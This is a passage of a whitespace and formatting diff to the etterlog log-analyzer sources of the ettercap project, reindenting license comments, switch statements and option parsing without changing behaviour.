LIST_FOREACH(u, &(o->users_list_head), next) { /* skip client not matching the filter */ if (!ip_addr_is_zero(&GBL->client) && ip_addr_cmp(&GBL->client, &u->client)) continue; - + fprintf(stdout, " %-15s ", ip_addr_ntoa(&h->L3_addr, tmp)); if (strcmp(h->hostname, "")) fprintf(stdout, "(%s)", h->hostname); - + /* print the client if requested */ if (GBL_OPTIONS->showclient) fprintf(stdout, "(%s)", ip_addr_ntoa(&u->client, tmp)); fprintf(stdout, " %s %-5d %s USER: %s \tPASS: %s ", - (o->L4_proto == NL_TYPE_TCP) ? "TCP" : "UDP" , - ntohs(o->L4_addr), - (u->failed) ? "*" : "", - u->user, - u->pass); - + (o->L4_proto == NL_TYPE_TCP) ? "TCP" : "UDP", + ntohs(o->L4_addr), + (u->failed) ? "*" : "", + u->user, + u->pass); + if (u->info) fprintf(stdout, " INFO: %s\n\n", u->info); else fprintf(stdout, "\n\n"); } } - } - /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterlog/el_ec_compat.c b/utils/etterlog/el_ec_compat.c index df6069248..51be71a1c 100644 --- a/utils/etterlog/el_ec_compat.c +++ b/utils/etterlog/el_ec_compat.c @@ -1,25 +1,25 @@ /* - etterlog -- ettercap compatibility module - here are stored functions needed by ec_* source - but not linked in etterlog - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterlog -- ettercap compatibility module + * here are stored functions needed by ec_* source + * but not linked in etterlog + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -28,31 +28,31 @@ FILE *debug_file = (void *)1; /* not NULL to avoid FATAL_ERROR */ /************************************************/ - + /* the void implementation */ -void debug_msg(const char *message, ...) +void debug_msg(const char *message, ...) { - (void) message; + (void)message; } /* fake the UI implementation */ -void ui_msg(const char *fmt, ...) -{ +void ui_msg(const char *fmt, ...) +{ va_list ap; - /* print the message */ + /* print the message */ va_start(ap, fmt); - vfprintf (stderr, fmt, ap); + vfprintf(stderr, fmt, ap); va_end(ap); fprintf(stderr, "\n"); } -void ui_error(const char *fmt, ...) -{ +void ui_error(const char *fmt, ...) +{ va_list ap; - /* print the message */ + /* print the message */ va_start(ap, fmt); - vfprintf (stderr, fmt, ap); + vfprintf(stderr, fmt, ap); va_end(ap); fprintf(stderr, "\n"); } @@ -61,15 +61,14 @@ void ui_fatal_error(const char *fmt, ...) { va_list ap; va_start(ap, fmt); - vfprintf (stderr, fmt, ap); + vfprintf(stderr, fmt, ap); va_end(ap); fprintf(stderr, "\n"); exit(-1); } -void ui_cleanup(void) { } +void ui_cleanup(void) {} /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterlog/el_log.c b/utils/etterlog/el_log.c index 86fc30e4b..179c67a1c 100644 --- a/utils/etterlog/el_log.c +++ b/utils/etterlog/el_log.c @@ -1,23 +1,23 @@ /* - etterlog -- read the logfile - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterlog -- read the logfile + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -34,22 +34,22 @@ static void dump_file(gzFile fd, struct log_global_header *hdr); /*******************************************/ -/* +/* * open the logfile, then drop the privs */ void open_log(char *file) { int zerr; - + GBL_LOGFILE = strdup(file); GBL_LOG_FD = gzopen(file, "rb"); - if(GBL_LOG_FD == Z_NULL) + if (GBL_LOG_FD == Z_NULL) FATAL_ERROR("Cannot read the log file, please ensure you have enough permissions to read %s: error %s", file, gzerror(GBL_LOG_FD, &zerr)); } /* - * returns the global header + * returns the global header */ int get_header(struct log_global_header *hdr) @@ -60,23 +60,23 @@ int get_header(struct log_global_header *hdr) if (c != sizeof(struct log_global_header)) return -E_INVALID; - + /* convert to host order */ - + hdr->magic = ntohs(hdr->magic); - + if (hdr->magic != EC_LOG_MAGIC) return -E_INVALID; - + hdr->first_header = ntohs(hdr->first_header); gzseek(GBL_LOG_FD, hdr->first_header, SEEK_SET); - + /* adjust the timestamp */ hdr->tv.tv_sec = ntohl(hdr->tv.tv_sec); hdr->tv.tv_usec = ntohl(hdr->tv.tv_usec); - + hdr->type = ntohl(hdr->type); - + return E_SUCCESS; } @@ -93,22 +93,21 @@ static int put_header(gzFile fd, struct log_global_header *hdr) hdr->tv.tv_sec = htonl(hdr->tv.tv_sec); hdr->tv.tv_usec = htonl(hdr->tv.tv_usec); hdr->type = htonl(hdr->type); - + c = gzwrite(fd, hdr, sizeof(struct log_global_header)); if (c != sizeof(struct log_global_header)) FATAL_ERROR("Cannot write output file"); - + /* convert to host order */ hdr->magic = ntohs(hdr->magic); hdr->first_header = ntohs(hdr->first_header); hdr->tv.tv_sec = ntohl(hdr->tv.tv_sec); hdr->tv.tv_usec = ntohl(hdr->tv.tv_usec); hdr->type = ntohl(hdr->type); - + return E_SUCCESS; } - /* * read the header of a packet * and return the data in the buf @@ -121,22 +120,22 @@ int get_packet(struct log_header_packet *pck, u_char **buf) if (c != sizeof(struct log_header_packet)) return -E_INVALID; - + pck->len = ntohl(pck->len); - + /* adjust the timestamp */ pck->tv.tv_sec = ntohl(pck->tv.tv_sec); pck->tv.tv_usec = ntohl(pck->tv.tv_usec); - + /* allocate the memory for the buffer */ SAFE_CALLOC(*buf, pck->len, sizeof(u_char)); /* copy the data of the packet */ c = gzread(GBL_LOG_FD, *buf, pck->len); - + if ((size_t)c != pck->len) return -E_INVALID; - + return E_SUCCESS; } @@ -146,7 +145,7 @@ int get_packet(struct log_header_packet *pck, u_char **buf) static int put_packet(gzFile fd, struct log_header_packet *pck, u_char *buf) { int c; - + pck->len = htonl(pck->len); pck->tv.tv_sec = htonl(pck->tv.tv_sec); pck->tv.tv_usec = htonl(pck->tv.tv_usec); @@ -154,7 +153,7 @@ static int put_packet(gzFile fd, struct log_header_packet *pck, u_char *buf) c = gzwrite(fd, pck, sizeof(struct log_header_packet)); if (c != sizeof(struct log_header_packet)) return -E_INVALID; - + pck->len = ntohl(pck->len); pck->tv.tv_sec = ntohl(pck->tv.tv_sec); pck->tv.tv_usec = ntohl(pck->tv.tv_usec); @@ -163,7 +162,7 @@ static int put_packet(gzFile fd, struct log_header_packet *pck, u_char *buf) c = gzwrite(fd, buf, pck->len); if ((size_t)c != pck->len) return -E_INVALID; - + return E_SUCCESS; } @@ -188,7 +187,7 @@ int get_info(struct log_header_info *inf, struct dissector_info *buf) inf->var.info_len = ntohs(inf->var.info_len); inf->var.banner_len = ntohs(inf->var.banner_len); - /* + /* * get the dissectors info * * we can deal only with associated user and pass, @@ -197,31 +196,31 @@ int get_info(struct log_header_info *inf, struct dissector_info *buf) if (inf->var.user_len) { SAFE_CALLOC(buf->user, inf->var.user_len + 1, sizeof(char)); - + c = gzread(GBL_LOG_FD, buf->user, inf->var.user_len); if (c != inf->var.user_len) return -E_INVALID; } - + if (inf->var.pass_len) { SAFE_CALLOC(buf->pass, inf->var.pass_len + 1, sizeof(char)); - + c = gzread(GBL_LOG_FD, buf->pass, inf->var.pass_len); if (c != inf->var.pass_len) return -E_INVALID; } - + if (inf->var.info_len) { SAFE_CALLOC(buf->info, inf->var.info_len + 1, sizeof(char)); - + c = gzread(GBL_LOG_FD, buf->info, inf->var.info_len); if (c != inf->var.info_len) return -E_INVALID; } - + if (inf->var.banner_len) { SAFE_CALLOC(buf->banner, inf->var.banner_len + 1, sizeof(char)); - + c = gzread(GBL_LOG_FD, buf->banner, inf->var.banner_len); if (c != inf->var.banner_len) return -E_INVALID; @@ -231,37 +230,36 @@ int get_info(struct log_header_info *inf, struct dissector_info *buf) * sanity check for ip_addr struct */ switch (ntohs(inf->L3_addr.addr_type)) { - case AF_INET: - if (ntohs(inf->L3_addr.addr_len) != IP_ADDR_LEN) - return -E_INVALID; - break; - case AF_INET6: - if (ntohs(inf->L3_addr.addr_len) != IP6_ADDR_LEN) - return -E_INVALID; - break; - default: + case AF_INET: + if (ntohs(inf->L3_addr.addr_len) != IP_ADDR_LEN) return -E_INVALID; + break; + case AF_INET6: + if (ntohs(inf->L3_addr.addr_len) != IP6_ADDR_LEN) + return -E_INVALID; + break; + default: + return -E_INVALID; } switch (ntohs(inf->client.addr_type)) { - case AF_INET: - if (ntohs(inf->client.addr_len) != IP_ADDR_LEN) - return -E_INVALID; - break; - case AF_INET6: - if (ntohs(inf->client.addr_len) != IP6_ADDR_LEN) - return -E_INVALID; - break; - default: + case AF_INET: + if (ntohs(inf->client.addr_len) != IP_ADDR_LEN) return -E_INVALID; + break; + case AF_INET6: + if (ntohs(inf->client.addr_len) != IP6_ADDR_LEN) + return -E_INVALID; + break; + default: + return -E_INVALID; } - - return E_SUCCESS; + return E_SUCCESS; } /* - * store a info struct into a file + * store a info struct into a file */ static int put_info(gzFile fd, struct log_header_info *inf, struct dissector_info *buf) { @@ -272,7 +270,7 @@ static int put_info(gzFile fd, struct log_header_info *inf, struct dissector_inf inf->var.pass_len = htons(inf->var.pass_len); inf->var.info_len = htons(inf->var.info_len); inf->var.banner_len = htons(inf->var.banner_len); - + /* write the header */ c = gzwrite(fd, inf, sizeof(struct log_header_info)); if (c != sizeof(struct log_header_info)) @@ -290,30 +288,30 @@ static int put_info(gzFile fd, struct log_header_info *inf, struct dissector_inf if (c != inf->var.user_len) return -E_INVALID; } - + if (inf->var.pass_len) { c = gzwrite(fd, buf->pass, inf->var.pass_len); if (c != inf->var.pass_len) return -E_INVALID; } - + if (inf->var.info_len) { c = gzwrite(fd, buf->info, inf->var.info_len); if (c != inf->var.info_len) return -E_INVALID; } - + if (inf->var.banner_len) { c = gzwrite(fd, buf->banner, inf->var.banner_len); if (c != inf->var.banner_len) return -E_INVALID; } - - return E_SUCCESS; + + return E_SUCCESS; } /* - * concatenate two (or more) files into one single file + * concatenate two (or more) files into one single file */ void concatenate(int argc, char **argv) { @@ -327,44 +325,44 @@ void concatenate(int argc, char **argv) fd = gzopen(GBL_LOGFILE, "wb"); ON_ERROR(fd, NULL, "%s", gzerror(fd, &zerr)); - /* + /* * use GBL_LOG_FD here so the get_header function - * will use this file + * will use this file */ GBL_LOG_FD = gzopen(argv[argc], "rb"); ON_ERROR(GBL_LOG_FD, NULL, "%s", gzerror(GBL_LOG_FD, &zerr)); - + /* get the file header */ if (get_header(&hdr) != E_SUCCESS) FATAL_ERROR("Invalid log file (%s)", argv[argc]); /* write the header */ put_header(fd, &hdr); - + printf("Concatenating file [%s]", argv[argc]); - + /* copy the first file into the output */ dump_file(fd, &hdr); - + /* move the pointer to the next file */ argc++; - + /* cicle thru the file list */ - while(argv[argc] != NULL) { - + while (argv[argc] != NULL) { + GBL_LOG_FD = gzopen(argv[argc], "rb"); ON_ERROR(GBL_LOG_FD, NULL, "%s", gzerror(GBL_LOG_FD, &zerr)); - + /* get the file header */ if (get_header(&tmp) != E_SUCCESS) FATAL_ERROR("Invalid log file (%s)", argv[argc]); - + /* check if the files are compatible */ if (hdr.type != tmp.type) FATAL_ERROR("Cannot concatenate different type of file"); printf("Concatenating file [%s]", argv[argc]); - + /* concatenate this file */ dump_file(fd, &tmp); @@ -379,7 +377,6 @@ void concatenate(int argc, char **argv) exit(0); } - /* * dump the file into the fd */ @@ -394,46 +391,43 @@ static void dump_file(gzFile fd, struct log_global_header *hdr) /* loop until EOF */ LOOP { switch (hdr->type) { - case LOG_INFO: - if (get_info(&inf, &infbuf) != E_SUCCESS) { - printf("\n"); - return; - } - /* write the info */ - put_info(fd, &inf, &infbuf); - SAFE_FREE(infbuf.user); - SAFE_FREE(infbuf.pass); - SAFE_FREE(infbuf.info); - SAFE_FREE(infbuf.banner); - - break; - - case LOG_PACKET: - if (get_packet(&pck, &pckbuf) != E_SUCCESS) { - printf("\n"); - return; - } - /* write the data */ - put_packet(fd, &pck, pckbuf); - SAFE_FREE(pckbuf); - break; - - default: - FATAL_ERROR("Unknown log type"); - break; + case LOG_INFO: + if (get_info(&inf, &infbuf) != E_SUCCESS) { + printf("\n"); + return; + } + /* write the info */ + put_info(fd, &inf, &infbuf); + SAFE_FREE(infbuf.user); + SAFE_FREE(infbuf.pass); + SAFE_FREE(infbuf.info); + SAFE_FREE(infbuf.banner); + + break; + + case LOG_PACKET: + if (get_packet(&pck, &pckbuf) != E_SUCCESS) { + printf("\n"); + return; + } + /* write the data */ + put_packet(fd, &pck, pckbuf); + SAFE_FREE(pckbuf); + break; + + default: + FATAL_ERROR("Unknown log type"); + break; } - + /* a dot every 10 packets */ if (count++ % 10 == 0) { printf("."); fflush(stdout); } } - } - /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterlog/el_main.c b/utils/etterlog/el_main.c index 8170e40fa..c14cd517f 100644 --- a/utils/etterlog/el_main.c +++ b/utils/etterlog/el_main.c @@ -1,23 +1,23 @@ /* - etterlog -- log analyzer for ettercap log file - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterlog -- log analyzer for ettercap log file + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,7 +25,7 @@ #include -#define GBL_FREE(x) do{ if (x != NULL) { free(x); x = NULL; } }while(0) +#define GBL_FREE(x) do { if (x != NULL) { free(x); x = NULL; } } while (0) /* global options */ struct globals *gbls; @@ -37,13 +37,12 @@ int main(int argc, char *argv[]) int ret; /* etterlog copyright */ globals_alloc(); - fprintf(stdout, "\n" EC_COLOR_BOLD "%s %s" EC_COLOR_END " copyright %s %s\n\n", - GBL_PROGRAM, EC_VERSION, EC_COPYRIGHT, EC_AUTHORS); - - + fprintf(stdout, "\n" EC_COLOR_BOLD "%s %s" EC_COLOR_END " copyright %s %s\n\n", + GBL_PROGRAM, EC_VERSION, EC_COPYRIGHT, EC_AUTHORS); + /* allocate the global target */ SAFE_CALLOC(GBL_TARGET, 1, sizeof(struct target_env)); - + /* initialize to all target */ GBL_TARGET->all_mac = 1; GBL_TARGET->all_ip = 1; @@ -51,7 +50,7 @@ int main(int argc, char *argv[]) GBL_TARGET->all_ip6 = 1; #endif GBL_TARGET->all_port = 1; - + /* getopt related parsing... */ parse_options(argc, argv); @@ -59,7 +58,7 @@ int main(int argc, char *argv[]) ret = get_header(&GBL->hdr); if (ret == -E_INVALID) FATAL_ERROR("Invalid log file"); - + fprintf(stderr, "Log file version : %s\n", GBL->hdr.version); /* display the date. ec_ctime() has no newline at end. */ #if defined OS_DARWIN @@ -67,9 +66,8 @@ int main(int argc, char *argv[]) #else fprintf(stderr, "Timestamp : %s [%lu]\n", ec_ctime(&GBL->hdr.tv), GBL->hdr.tv.tv_usec); #endif - fprintf(stderr, "Type : %s\n\n", (GBL->hdr.type == LOG_PACKET) ? "LOG_PACKET" : "LOG_INFO" ); - - + fprintf(stderr, "Type : %s\n\n", (GBL->hdr.type == LOG_PACKET) ? "LOG_PACKET" : "LOG_INFO"); + /* analyze the logfile */ if (GBL_OPTIONS->analyze) analyze(); @@ -77,7 +75,7 @@ int main(int argc, char *argv[]) /* rewind the log file and skip the global header */ gzrewind(GBL_LOG_FD); get_header(&GBL->hdr); - + /* create the connection table (respecting the filters) */ if (GBL_OPTIONS->connections) conn_table_create(); @@ -89,14 +87,14 @@ int main(int argc, char *argv[]) /* extract files from the connections */ if (GBL_OPTIONS->decode) conn_decode(); - + /* not interested in the content... only analysis */ if (GBL_OPTIONS->analyze || GBL_OPTIONS->connections) return 0; - + /* display the content of the logfile */ display(); - + globals_free(); return 0; @@ -107,9 +105,9 @@ int main(int argc, char *argv[]) void set_color(int color) { /* windows does not like ansi colors... */ -#ifndef OS_WINDOWS +#ifndef OS_WINDOWS char str[8]; - + sprintf(str, "\033[%dm", color); fflush(stdout); write(fileno(stdout), str, strlen(str)); @@ -121,9 +119,9 @@ void set_color(int color) void reset_color(void) { /* windows does not like ansi colors... */ -#ifndef OS_WINDOWS +#ifndef OS_WINDOWS fflush(stdout); - write(fileno(stdout), EC_COLOR_END, 4); + write(fileno(stdout), EC_COLOR_END, 4); #endif } @@ -145,13 +143,10 @@ void globals_free(void) SAFE_FREE(gbls->options); SAFE_FREE(gbls->regex); SAFE_FREE(gbls->t); - + SAFE_FREE(gbls); return; - } - // vim:ts=3:expandtab - diff --git a/utils/etterlog/el_parser.c b/utils/etterlog/el_parser.c index 009391433..79a489263 100644 --- a/utils/etterlog/el_parser.c +++ b/utils/etterlog/el_parser.c @@ -1,24 +1,23 @@ /* - etterlog -- parsing utilities - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * etterlog -- parsing utilities + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -28,9 +27,9 @@ #include #ifdef HAVE_GETOPT_H - #include +#include #else - #include +#include #endif /* protos... */ @@ -58,19 +57,19 @@ void el_usage(void) fprintf(stdout, " -k, --color colorize the output\n"); fprintf(stdout, " -l, --only-local show only local hosts parsing info files\n"); fprintf(stdout, " -L, --only-remote show only remote hosts parsing info files\n"); - + fprintf(stdout, "\nSearch Options:\n"); fprintf(stdout, " -e, --regex display only packets that match the regex\n"); fprintf(stdout, " -u, --user search for info about the user \n"); fprintf(stdout, " -p, --passwords print only accounts information\n"); fprintf(stdout, " -i, --show-client show client address in the password profiles\n"); fprintf(stdout, " -I, --client search for pass from a specific client\n"); - + fprintf(stdout, "\nEditing Options:\n"); fprintf(stdout, " -C, --concat concatenate more files into one single file\n"); fprintf(stdout, " -o, --outfile the file used as output for concatenation\n"); fprintf(stdout, " -D, --decode used to extract files from connections\n"); - + fprintf(stdout, "\nVisualization Method:\n"); fprintf(stdout, " -B, --binary print packets as they are\n"); fprintf(stdout, " -X, --hex print packets in hex mode\n"); @@ -81,7 +80,7 @@ void el_usage(void) fprintf(stdout, " -U, --utf8 print packets in uft-8 using the \n"); fprintf(stdout, " -Z, --zero do not print packets, only headers\n"); fprintf(stdout, " -x, --xml print host infos in xml format\n"); - + fprintf(stdout, "\nStandard Options:\n"); fprintf(stdout, " -v, --version prints the version and exit\n"); fprintf(stdout, " -h, --help this help screen\n"); @@ -91,7 +90,6 @@ void el_usage(void) exit(0); } - void parse_options(int argc, char **argv) { int c; @@ -99,7 +97,7 @@ void parse_options(int argc, char **argv) static struct option long_options[] = { { "help", no_argument, NULL, 'h' }, { "version", no_argument, NULL, 'v' }, - + { "binary", no_argument, NULL, 'B' }, { "hex", no_argument, NULL, 'X' }, { "ascii", no_argument, NULL, 'A' }, @@ -109,7 +107,7 @@ void parse_options(int argc, char **argv) { "utf8", required_argument, NULL, 'U' }, { "zero", no_argument, NULL, 'Z' }, { "xml", no_argument, NULL, 'x' }, - + { "analyze", no_argument, NULL, 'a' }, { "connections", no_argument, NULL, 'c' }, { "filter", required_argument, NULL, 'f' }, @@ -124,180 +122,179 @@ void parse_options(int argc, char **argv) { "proto", required_argument, NULL, 't' }, { "only-local", required_argument, NULL, 'l' }, { "only-remote", required_argument, NULL, 'L' }, - + { "outfile", required_argument, NULL, 'o' }, { "concat", no_argument, NULL, 'C' }, { "decode", no_argument, NULL, 'D' }, - + { "user", required_argument, NULL, 'u' }, { "regex", required_argument, NULL, 'e' }, { "passwords", no_argument, NULL, 'p' }, { "client", required_argument, NULL, 'I' }, - - { 0 , 0 , 0 , 0} + + { 0, 0, 0, 0 } }; - optind = 0; - while ((c = getopt_long (argc, argv, "AaBCcDdEe:F:f:HhiI:kLlmno:prsTt:U:u:vXxZ", long_options, (int *)0)) != EOF) { + while ((c = getopt_long(argc, argv, "AaBCcDdEe:F:f:HhiI:kLlmno:prsTt:U:u:vXxZ", long_options, (int *)0)) != EOF) { switch (c) { - case 'a': - GBL_OPTIONS->analyze = 1; - break; - - case 'c': - GBL_OPTIONS->connections = 1; - break; - - case 'D': - GBL_OPTIONS->connections = 1; - GBL_OPTIONS->decode = 1; - NOT_IMPLEMENTED(); - break; - - case 'f': + case 'a': + GBL_OPTIONS->analyze = 1; + break; + + case 'c': + GBL_OPTIONS->connections = 1; + break; + + case 'D': + GBL_OPTIONS->connections = 1; + GBL_OPTIONS->decode = 1; + NOT_IMPLEMENTED(); + break; + + case 'f': #ifdef WITH_IPV6 - if (!strncmp(optarg, "///", 3) && - strlen(optarg) == 3) - GBL_TARGET->scan_all = 1; + if (!strncmp(optarg, "///", 3) && + strlen(optarg) == 3) + GBL_TARGET->scan_all = 1; #else - if (!strncmp(optarg, "//", 2) && - strlen(optarg) == 2) - GBL_TARGET->scan_all = 1; + if (!strncmp(optarg, "//", 2) && + strlen(optarg) == 2) + GBL_TARGET->scan_all = 1; #endif - compile_target(optarg, GBL_TARGET); - - break; - - case 'F': - filcon_compile(optarg); - break; - - case 's': - GBL_OPTIONS->only_source = 1; - break; - - case 'd': - GBL_OPTIONS->only_dest = 1; - break; - - case 'k': - GBL_OPTIONS->color = 1; - break; - - case 'r': - GBL_OPTIONS->reverse = 1; - break; - - case 't': - GBL_TARGET->proto = strdup(optarg); - break; - - case 'n': - GBL_OPTIONS->no_headers = 1; - break; - - case 'm': - GBL_OPTIONS->showmac = 1; - break; - - case 'i': - GBL_OPTIONS->showclient = 1; - break; - - case 'I': - if (ip_addr_pton(optarg, &GBL->client) != E_SUCCESS) { - FATAL_ERROR("Invalid client ip address"); - return; - } - break; - - case 'l': - GBL_OPTIONS->only_local = 1; - break; - - case 'L': - GBL_OPTIONS->only_remote = 1; - break; - - case 'u': - GBL->user = strdup(optarg); - break; - - case 'p': - GBL_OPTIONS->passwords = 1; - break; - - case 'e': - GBL_OPTIONS->regex = 1; - set_display_regex(optarg); - break; - - case 'o': - GBL_LOGFILE = strdup(optarg); - break; - - case 'C': - GBL_OPTIONS->concat = 1; - break; - - case 'B': - GBL->format = &bin_format; - break; - - case 'X': - GBL->format = &hex_format; - break; - - case 'A': - GBL->format = &ascii_format; - break; - - case 'T': - GBL->format = &text_format; - break; - - case 'E': - GBL->format = &ebcdic_format; - break; - - case 'H': - GBL->format = &html_format; - break; - - case 'U': - set_utf8_encoding((u_char*)optarg); - GBL->format = &utf8_format; - break; - - case 'Z': - GBL->format = &zero_format; - break; - - case 'x': - GBL_OPTIONS->xml = 1; - break; - - case 'h': - el_usage(); - break; - - case 'v': - printf("%s %s\n", GBL_PROGRAM, EC_VERSION); - exit(0); - break; - - case ':': // missing parameter - fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); - exit(0); - break; - - case '?': // unknown option - fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); - exit(0); + compile_target(optarg, GBL_TARGET); + + break; + + case 'F': + filcon_compile(optarg); + break; + + case 's': + GBL_OPTIONS->only_source = 1; + break; + + case 'd': + GBL_OPTIONS->only_dest = 1; + break; + + case 'k': + GBL_OPTIONS->color = 1; + break; + + case 'r': + GBL_OPTIONS->reverse = 1; + break; + + case 't': + GBL_TARGET->proto = strdup(optarg); + break; + + case 'n': + GBL_OPTIONS->no_headers = 1; + break; + + case 'm': + GBL_OPTIONS->showmac = 1; + break; + + case 'i': + GBL_OPTIONS->showclient = 1; + break; + + case 'I': + if (ip_addr_pton(optarg, &GBL->client) != E_SUCCESS) { + FATAL_ERROR("Invalid client ip address"); + return; + } + break; + + case 'l': + GBL_OPTIONS->only_local = 1; + break; + + case 'L': + GBL_OPTIONS->only_remote = 1; + break; + + case 'u': + GBL->user = strdup(optarg); + break; + + case 'p': + GBL_OPTIONS->passwords = 1; + break; + + case 'e': + GBL_OPTIONS->regex = 1; + set_display_regex(optarg); + break; + + case 'o': + GBL_LOGFILE = strdup(optarg); + break; + + case 'C': + GBL_OPTIONS->concat = 1; + break; + + case 'B': + GBL->format = &bin_format; + break; + + case 'X': + GBL->format = &hex_format; + break; + + case 'A': + GBL->format = &ascii_format; + break; + + case 'T': + GBL->format = &text_format; + break; + + case 'E': + GBL->format = &ebcdic_format; + break; + + case 'H': + GBL->format = &html_format; + break; + + case 'U': + set_utf8_encoding((u_char *)optarg); + GBL->format = &utf8_format; + break; + + case 'Z': + GBL->format = &zero_format; + break; + + case 'x': + GBL_OPTIONS->xml = 1; + break; + + case 'h': + el_usage(); + break; + + case 'v': + printf("%s %s\n", GBL_PROGRAM, EC_VERSION); + exit(0); + break; + + case ':': // missing parameter + fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); + exit(0); + break; + + case '?': // unknown option + fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); + exit(0); break; } } @@ -306,7 +303,7 @@ void parse_options(int argc, char **argv) if (GBL_OPTIONS->concat) { if (argv[optind] == NULL) FATAL_ERROR("You MUST specify at least one logfile"); - + /* this function does not return */ concatenate(optind, argv); } @@ -316,17 +313,14 @@ void parse_options(int argc, char **argv) open_log(argv[optind]); else FATAL_ERROR("You MUST specify a logfile\n"); - - /* default to ASCII view */ + + /* default to ASCII view */ if (GBL->format == NULL) GBL->format = &ascii_format; return; } - /* EOF */ - // vim:ts=3:expandtab - diff --git a/utils/etterlog/el_profiles.c b/utils/etterlog/el_profiles.c index d774a1b33..6404e4066 100644 --- a/utils/etterlog/el_profiles.c +++ b/utils/etterlog/el_profiles.c @@ -1,23 +1,23 @@ /* - etterlog -- host profiling module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterlog -- host profiling module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if 